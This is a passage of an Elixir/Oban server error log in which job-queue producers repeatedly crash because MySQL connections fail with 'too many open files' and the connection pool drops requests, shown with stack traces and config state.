    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 23:35:39.239356Z], limit: 10, uuid: "e6bedc7b-4a08-47ff-a902-51c0c9698e9e", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:35:39.239362Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.18832>, refresh_timer: #Reference<0.2525715032.1099431938.23535>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:35:53.429000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:35:56.825000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:35:58.253000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:35:58.941000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:36:00.562000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:36:00.987000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:36:03.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 861ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 23:35:51.242363Z], limit: 10, uuid: "1faf11f1-17a8-40f3-b0f2-9bb2d67d81f4", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:35:51.242368Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.23668>, refresh_timer: #Reference<0.2525715032.1077411843.253479>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:36:03.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 826ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 23:35:51.240345Z], limit: 20, uuid: "f22fd32f-dd11-46aa-b7bc-987ff6faef99", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:35:51.240353Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.23665>, refresh_timer: #Reference<0.2525715032.1099431938.23615>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:36:03.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1000ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 23:35:51.240807Z], limit: 5, uuid: "58654594-02aa-4e9c-8971-1adaa3a8639c", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:35:51.240812Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.19155>, refresh_timer: #Reference<0.2525715032.1121189889.124537>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:36:03.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 878ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 23:35:51.241039Z], limit: 5, uuid: "3b78fafd-6618-4e92-bd61-c2baf4fffb0d", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:35:51.241057Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.19156>, refresh_timer: #Reference<0.2525715032.1121189889.124547>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:36:03.242000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 808ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 23:35:51.240969Z], limit: 3, uuid: "c3770aeb-a22a-43ef-a58d-5dd58dfe1d6f", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:35:51.240975Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.23667>, refresh_timer: #Reference<0.2525715032.1099431938.23647>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:36:03.239000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1045ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 23:35:51.240690Z], limit: 50, uuid: "0ef2ef67-c728-431c-9888-b6cc38924ea0", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:35:51.240695Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.23666>, refresh_timer: #Reference<0.2525715032.1099431938.23627>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:36:04.488000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:36:05.148000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:36:07.510000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:36:10.343000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:36:12.785000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:36:14.104000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:36:16.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 2029ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 23:36:03.244144Z], limit: 5, uuid: "eb7376d1-cbe6-4675-94db-042298760c06", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:36:03.244150Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.19486>, refresh_timer: #Reference<0.2525715032.1077411843.253633>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:36:16.239000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1814ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
